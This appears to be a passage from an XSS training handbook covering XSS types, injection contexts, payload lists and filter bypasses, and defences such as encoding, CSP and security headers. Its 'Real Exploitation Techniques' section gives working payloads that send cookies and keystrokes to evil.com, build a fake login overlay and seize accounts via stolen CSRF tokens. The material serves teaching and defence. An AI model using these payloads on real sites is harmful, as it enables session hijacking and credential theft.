Victim is now logged into attacker's account

Victim sees the dashboard of the attacker's account with the XSS payload in the profile name

4

Self-XSS fires in victim's browser โ†’ cookies stolen!

The victim's cookies from their real session can be exfiltrated, or other attacks can be launched.

๐Ÿ“Š XSS Types โ€” Severity Comparison

Type Severity Persistence Victims Bug Bounty? Detection
Reflected โ†ฉ๏ธ High Non-persistent 1 per click โœ… Yes Moderate (WAF)
Stored ๐Ÿ’พ Critical Persistent (DB) All visitors โœ… Yes ($$$$) Moderate
DOM-Based ๐Ÿ”€ High Non-persistent 1 per click โœ… Yes Very hard (client-side)
Blind ๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ Critical Persistent Admin/internal users โœ… Yes ($$$$) Very hard
Self-XSS ๐Ÿชž Low Varies Only self โŒ Usually excluded Easy
๐Ÿ’ก
For Bug Bounty Hunters:

When you find Self-XSS, always try to chain it with CSRF (especially Login CSRF) or other vulnerabilities. If you can demonstrate impact on another user, it gets upgraded from "Informational/Low" to "Medium/High"!

For the complete deep-dive on all XSS types, payloads, and techniques:

๐Ÿ“– Read the Full Handbook โ†—

๐Ÿ—บ๏ธ Injection Context Map

The most critical factor in crafting an XSS payload is understanding the context where your input lands in the HTML. Different contexts require different breakout and injection strategies.

ContextYour Input Lands HereBreakout StrategyExample Payload
HTML Body <div>INPUT</div> Inject new HTML tag <script>alert(1)</script>
Attribute (quoted) <input value="INPUT"> Close attribute + add event " onfocus=alert(1) autofocus "
Attribute (unquoted) <input value=INPUT> Space + event handler x onfocus=alert(1) autofocus
href / src <a href="INPUT"> Use javascript: protocol javascript:alert(1)
JavaScript String var x = 'INPUT'; Close string + inject code ';alert(1);//
JS Template Literal var x = `INPUT`; Template expression ${alert(1)}
Script Block <script>...INPUT...</script> Close script tag </script><script>alert(1)</script>
HTML Comment <!-- INPUT --> Close comment --><script>alert(1)</script>

๐ŸŽฏ Common XSS Payloads

Script Tag Payloads
// Basic <script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert(document.domain)</script> // External script <script src="https://evil.com/xss.js"></script> // Template literal (no parentheses) <script>alert`1`</script> // Using String.fromCharCode to bypass keyword filters <script>alert(String.fromCharCode(88,83,83))</script> // Base64 encoded eval <script>eval(atob('YWxlcnQoMSk='))</script>
Event Handler Payloads
// Image โ€” fires when src fails to load <img src=x onerror=alert(1)> // Input โ€” fires immediately with autofocus <input onfocus=alert(1) autofocus> // Details โ€” fires when opened (auto via open attr) <details open ontoggle=alert(1)> // Body โ€” fires on page load <body onload=alert(1)> // Div โ€” user must hover <div onmouseover=alert(1)>Hover me</div> // Marquee โ€” fires when scrolling starts <marquee onstart=alert(1)> // Video/Audio โ€” fires on load error <video src=x onerror=alert(1)> <audio src=x onerror=alert(1)>
SVG & Special Element Payloads
// SVG โ€” onload fires immediately <svg onload=alert(1)> <svg/onload=alert(1)> // SVG with embedded script <svg><script>alert(1)</script></svg> // SVG animate <svg><animate onbegin=alert(1) attributeName=x> // Math ML (some browsers) <math><mtext><table><mglyph><style> <!--</style><img src=x onerror=alert(1)> // Object/Embed <object data="javascript:alert(1)"> <embed src="data:text/html,<script>alert(1)</script>">
JavaScript & Data URI Payloads
// javascript: URI in href <a href="javascript:alert(1)">Click</a> // javascript: URI in form action <form action="javascript:alert(1)"> <input type=submit> </form> // data: URI in iframe <iframe src="data:text/html,<script>alert(1)</script>"> // data: URI with base64 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> // button formaction <button formaction="javascript:alert(1)">Click</button>

๐Ÿ”“ Filter Bypass Techniques

Many applications try to block XSS using blacklists or input filters. These are always bypassable with creative encoding, obfuscation, and alternative syntax. This is why output encoding and CSP are far superior to filtering.

What's BlockedBypass TechniquePayload
<script> tag Use event handlers instead <img src=x onerror=alert(1)>
<script> (case-sensitive) Mixed case <ScRiPt>alert(1)</sCrIpT>
alert function Use confirm/prompt or constructor <img src=x onerror=confirm(1)>
alert() with parentheses Template literals <img src=x onerror=alert`1`>
Parentheses ( ) onerror+throw <script>onerror=alert;throw 1</script>
< and > chars Attribute context (if inside one) " onfocus=alert(1) autofocus "
Removes <script> once Nested / recursive <scr<script>ipt>alert(1)</scr</script>ipt>
All on* event handlers Use <script> tag instead <script>alert(1)</script>
Keyword detection HTML entity encoding <img src=x onerror=alert(1)>
Keyword detection JavaScript unicode escapes <script>\u0061\u006cert(1)</script>
Spaces blocked Forward slash separator <svg/onload=alert(1)>
WAF signature match Double encoding %253Cscript%253Ealert(1)%253C%252Fscript%253E

๐Ÿ’€ Real Exploitation Techniques

๐Ÿช
Cookie Theft & Session Hijacking
Exfiltration Methods
// Image beacon (most stealthy) new Image().src = 'https://evil.com/steal?c=' + document.cookie; // Fetch API fetch('https://evil.com/s?c=' + document.cookie); // SendBeacon (survives page nav) navigator.sendBeacon( 'https://evil.com/s', document.cookie );
โŒจ๏ธ
Keylogging
Keystroke Capture
// Capture all keystrokes document.addEventListener( 'keypress', function(e) { new Image().src = 'https://evil.com/k?key=' + e.key + '&url=' + location.href; } ); // Records passwords, CC#s, // and all typed content!
๐ŸŽญ
Phishing Overlay
Fake Login Form
// Replace page with fake login document.body.innerHTML = ` <div style="..."> <h2>Session Expired</h2> <form action="https://evil.com"> <input name="user" placeholder="Username"> <input name="pass" type="password" placeholder="Password"> <button>Log In</button> </form> </div>`; // Looks legitimate โ€” same URL!
๐Ÿ”„
Account Takeover (CSRF via XSS)
Change Email + Password
// XSS bypasses CSRF tokens! // Step 1: Get CSRF token fetch('/settings') .then(r => r.text()) .then(html => { let token = html.match( /csrf.*?value="(.*?)"/ )[1]; // Step 2: Change email fetch('/settings', { method: 'POST', body: 'csrf='+token +'&email=evil@hack.com' }); });

๐Ÿ“Š Exploitation Impact Matrix

AttackSeverityRequirementsUser Interaction?
Cookie TheftHighNo HttpOnly flagNone
Session HijackingHighNo HttpOnly flagNone
Account TakeoverCriticalAJAX capabilityNone
Phishing OverlayHighConvincing UIVictim submits form
KeyloggingHighVictim types on pageTyping
Worm PropagationCriticalStored XSS + social featuresNone
Crypto MiningMediumSustained executionStaying on page
Internal Port ScanMediumXSS on internal appNone
DefacementMediumAny XSSNone
Malware DistributionHighUser trust in domainDownload
โš ๏ธ
Important:

These techniques are shown for educational and defensive purposes only. Understanding attacks is essential for building effective defenses. Never use these techniques on systems without explicit written authorization.

๐Ÿ†
The Golden Rule of XSS Prevention:

Never trust user input. Always encode output based on the CONTEXT where it appears. Context-aware output encoding is the #1 defense against XSS.

๐Ÿ” Defense in Depth โ€” 6 Layers

๐Ÿ“ค

Output Encoding Primary Defense

Convert dangerous characters (< > " ' &) to safe HTML entities before rendering. Must be context-specific: HTML body, attribute, JS, URL, CSS.

๐Ÿงน

HTML Sanitization

For rich text content (WYSIWYG editors), use a whitelist-based sanitizer like DOMPurify to strip dangerous tags while preserving safe formatting.

๐Ÿ“‹

Content Security Policy

HTTP header restricting which scripts can run. Even if XSS payload is injected, CSP can block its execution. Use nonces for inline scripts.

๐Ÿช

Cookie Security

Set HttpOnly (blocks JS access), Secure (HTTPS only), and SameSite (prevents CSRF) flags on all session cookies.

โœ…

Safe DOM APIs

Use textContent instead of innerHTML, avoid eval(), validate URLs before use, and use setAttribute() for HTML attributes.

๐Ÿ”’

Trusted Types

Browser API that enforces type-safe DOM manipulation. Requires sanitized typed objects for dangerous sinks โ€” prevents DOM XSS at the browser level.

๐Ÿ“ Context-Specific Encoding Rules

ContextEncoding MethodCharacters to EncodeExample
HTML Body HTML Entity Encoding & < > " ' / &lt;script&gt; shows as text
HTML Attribute HTML Attribute Encoding All non-alphanumeric โ†’ &#xHH; Always quote attributes!
JavaScript JavaScript String Encoding Non-alphanumeric โ†’ \uXXXX JSON.stringify(input)
URL Parameter URL / Percent Encoding Non-alphanumeric โ†’ %HH encodeURIComponent(input)
CSS Value CSS Encoding Non-alphanumeric โ†’ \XXXXXX Avoid user input in CSS if possible

๐Ÿ’ป Secure Code Examples

PHP โ€” Context-Aware Encoding
// HTML Body Context echo "<div>" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</div>"; // HTML Attribute Context echo '<input value="' . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . '">'; // JavaScript Context (use json_encode!) echo '<script>var name = ' . json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP) . ';</script>'; // URL Parameter Context echo '<a href="/page?q=' . urlencode($input) . '">Link</a>'; // Cookie Security setcookie('session', $token, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Lax', ]);
JavaScript โ€” Safe DOM Manipulation
// โœ… SAFE โ€” textContent (renders as text, NOT HTML) element.textContent = userInput; // โœ… SAFE โ€” setAttribute element.setAttribute('title', userInput); // โœ… SAFE โ€” classList element.classList.add(sanitizedClass); // โœ… SAFE โ€” If you MUST render HTML, sanitize first import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(userInput); // โœ… SAFE โ€” URL validation function isValidUrl(url) { try { const parsed = new URL(url); return ['http:', 'https:'] .includes(parsed.protocol); } catch { return false; } } // โŒ NEVER DO: element.innerHTML = userInput; eval(userInput); document.write(userInput); setTimeout(userInput, 1000);
Python โ€” Flask/Jinja2
# โœ… Jinja2 AUTO-ESCAPES by default! # In template: {{ user_input }} โ†’ auto HTML-encoded # โŒ DANGEROUS โ€” bypasses auto-escaping: # {{ user_input | safe }} โ† NEVER with user data! # Explicit encoding in Python: from markupsafe import escape safe = escape(user_input) # For rich HTML โ€” use bleach or nh3: import bleach clean = bleach.clean(user_html, tags=['p', 'b', 'i', 'a', 'ul', 'li'], attributes={'a': ['href', 'title']}, strip=True ) # Flask cookie security app.config['SESSION_COOKIE_HTTPONLY'] = True app.config['SESSION_COOKIE_SECURE'] = True app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
React / Vue / Angular โ€” Safe & Dangerous
// โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• REACT โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // โœ… SAFE โ€” JSX auto-escapes return <div>{userInput}</div>; // โŒ DANGEROUS โ€” bypasses auto-escaping return <div dangerouslySetInnerHTML={{__html: userInput}} />; // โŒ DANGEROUS โ€” javascript: URLs in href return <a href={userUrl}>Link</a>; // Validate protocol! // โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• VUE โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // โœ… SAFE โ€” {{ }} auto-escapes <div>{{ userInput }}</div> // โŒ DANGEROUS โ€” v-html renders raw HTML <div v-html="userInput"></div> // โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• ANGULAR โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // โœ… SAFE โ€” {{ }} auto-escapes <div>{{ userInput }}</div> // โŒ DANGEROUS โ€” bypass sanitizer this.sanitizer.bypassSecurityTrustHtml(input)

๐Ÿ“‹ Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which scripts are allowed to execute. Even if an attacker injects a script, CSP can prevent it from running.

HTTP Header โ€” CSP Examples (Progressive)
# โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• # Level 1: Basic CSP โ€” Blocks inline scripts # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; frame-ancestors 'self'; # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• # Level 2: Strict CSP with Nonces (RECOMMENDED) # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• Content-Security-Policy: default-src 'none'; script-src 'nonce-{RANDOM}' 'strict-dynamic'; style-src 'nonce-{RANDOM}'; img-src 'self'; connect-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; # In HTML โ€” only scripts with matching nonce run: # <script nonce="RANDOM">...</script> โ† RUNS โœ… # <script>alert(1)</script> โ† BLOCKED โŒ # Attacker can't predict the random nonce!
โœ…
Strong CSP:

'nonce-{random}' + 'strict-dynamic' โ€” only scripts with matching nonce execute. Attacker can't predict the nonce value.

โŒ
Weak CSP:

'unsafe-inline' or 'unsafe-eval' โ€” completely defeats the purpose of CSP! Avoid at all costs.

๐Ÿ“ก Essential Security Headers

Complete Security Headers โ€” Nginx
# XSS & Injection Defense add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always; add_header X-Content-Type-Options "nosniff" always; # Clickjacking Defense add_header X-Frame-Options "DENY" always; # Transport Security add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; # Privacy add_header Referrer-Policy "strict-origin-when-cross-origin" always; # Feature Control add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always; # DISABLE legacy XSS filter (can cause issues) add_header X-XSS-Protection "0" always;

๐ŸŽฏ Defense Effectiveness Matrix

Defense โ†ฉ๏ธ Reflected ๐Ÿ’พ Stored ๐Ÿ”€ DOM-Based
Output Encodingโœ… Effectiveโœ… Effectiveโš ๏ธ N/A (client)
HTML Sanitizationโœ… Effectiveโœ… Effectiveโœ… DOMPurify
CSP with Nonceโœ… Effectiveโœ… Effectiveโœ… Effective
HttpOnly Cookiesโš ๏ธ Limits impactโš ๏ธ Limits impactโš ๏ธ Limits impact
Trusted Typesโš ๏ธ Partialโš ๏ธ Partialโœ… Primary defense!
Safe DOM APIsโ€” N/Aโ€” N/Aโœ… Primary defense!
WAFโš ๏ธ Bypassableโš ๏ธ BypassableโŒ Can't detect
Auto-escaping Templatesโœ… Effectiveโœ… Effectiveโ€” N/A

๐Ÿ› ๏ธ XSS Testing Tools

๐ŸŽฏ
Burp Suite

Industry-standard web security testing platform. Includes Proxy, Scanner, Repeater, Intruder, and the DOM Invader extension for DOM XSS testing.

Professional Community Free
๐Ÿ•ท๏ธ
OWASP ZAP

Free, open-source alternative to Burp. Active scanner with XSS rules, Ajax Spider for JS-heavy apps, and scripting engine for custom tests.

100% Free Open Source
๐ŸฆŠ
Dalfox

Fast CLI XSS scanner written in Go. Excellent for automated parameter fuzzing and pipeline integration.

CLI Open Source
โšก
XSSStrike

Python-based XSS detection suite with intelligent payload generation, DOM analysis, and crawling.

CLI
python3 xsstrike.py -u "https://target.com/search?q=test" python3 xsstrike.py -u "https://target.com" --crawl
๐Ÿ‘๏ธ
XSS Hunter

Essential for Blind XSS. Provides unique payloads that call back with screenshots, cookies, DOM, and URL when triggered.

Usage
# Get your unique payload from XSS Hunter # Inject into contact forms, User-Agent, etc. # Wait for callback with screenshot + cookies "><script src=https://YOUR-ID.xss.ht></script>

๐Ÿ“‹ Testing Methodology

1
๐Ÿ—บ๏ธ

Map All Input Points

URL parameters, form fields (visible + hidden), HTTP headers (User-Agent, Referer, Cookie), JSON/XML bodies, file upload names, WebSocket messages, postMessage data.

2
๐Ÿท๏ธ

Inject Canary String

Use a unique identifier like xss123test or aaa"'<>bbb to find where your input appears in the response and what characters survive.

3
๐Ÿ”

Identify Injection Context

HTML body? HTML attribute? JavaScript string? URL? CSS? Each context requires a different breakout strategy and payload format.

4
๐ŸŽฏ

Craft & Test Payloads

Start with basic payloads. If blocked, apply encoding, case variations, alternative tags/events, and filter bypass techniques.

5
๐Ÿ“

Prove Impact & Document

Demonstrate real impact (cookie theft, account takeover) โ€” not just alert(1). Provide clear reproduction steps, affected URLs, and fix recommendations.

๐Ÿ“Š Complete XSS Types Comparison

Feature โ†ฉ๏ธ Reflected ๐Ÿ’พ Stored ๐Ÿ”€ DOM ๐Ÿ‘๏ธ Blind ๐Ÿชž Self
PersistenceNon-persistentPersistentNon-persistentPersistentVaries
Server Involved?โœ… Reflectsโœ… StoresโŒ Neverโœ… StoresVaries
Social Eng. Needed?โœ… YesโŒ Noโœ… YesโŒ Noโœ… Yes
Victims1 per clickAll visitors1 per clickAdmin/internalOnly self
WAF DetectionModerateModerateVery HardVery HardEasy
SeverityHighCriticalHighCriticalLow
Bug Bountyโœ… Acceptedโœ… $$$$โœ… Acceptedโœ… $$$$โŒ Usually excluded
Primary DefenseOutput encodingOutput encodingSafe DOM APIsOutput encodingN/A (low risk)

โšก Quick Reference โ€” Top Payloads

<script>alert(document.domain)</script>HTML Body
<img src=x onerror=alert(1)>HTML Body
<svg onload=alert(document.cookie)>HTML Body
" onfocus=alert(1) autofocus "Attribute
'><script>alert(1)</script>Attribute
';alert(1);//JS String
</script><script>alert(1)</script>JS Block
javascript:alert(document.domain)URL/href

โœ… Developer Security Checklist

โœ… Always Do

  • โœ“ Encode output based on context (HTML, JS, URL, CSS)
  • โœ“ Use auto-escaping template engines
  • โœ“ Set HttpOnly, Secure, SameSite on cookies
  • โœ“ Implement Content Security Policy with nonces
  • โœ“ Use DOMPurify for rich HTML content
  • โœ“ Use textContent instead of innerHTML
  • โœ“ Validate URLs (allow only http: / https:)
  • โœ“ Keep all frameworks and libraries updated
  • โœ“ Set security headers on all responses
  • โœ“ Code review for Source โ†’ Sink flows

โŒ Never Do

  • โœ— Use innerHTML with user input
  • โœ— Use eval(), setTimeout(string), new Function()
  • โœ— Use document.write() with user data
  • โœ— Rely on client-side validation alone
  • โœ— Use 'unsafe-inline' or 'unsafe-eval' in CSP
  • โœ— Use {{ var | safe }} with user input (templates)
  • โœ— Use dangerouslySetInnerHTML with raw user data
  • โœ— Rely on blacklist-based input filtering
  • โœ— Display raw user input anywhere in HTML
  • โœ— Trust data from the database (always encode output)

๐ŸŽ“ Practice Platforms

๐Ÿ”ฐ
Beginner
๐Ÿ”ด
Advanced
  • ๐Ÿš€ HackTheBox โ€” Real-world web challenges
  • ๐Ÿ’ฐ HackerOne โ€” Live bug bounty programs
  • ๐ŸŽฏ prompt.ml โ€” Advanced XSS challenges
๐ŸŽ‰

Handbook Complete!

You've learned all 5 XSS types, practiced with 3 interactive labs, studied attack techniques, prevention strategies, and detection methodology. Now go build secure applications!

๐Ÿ“– Full Handbook โ†—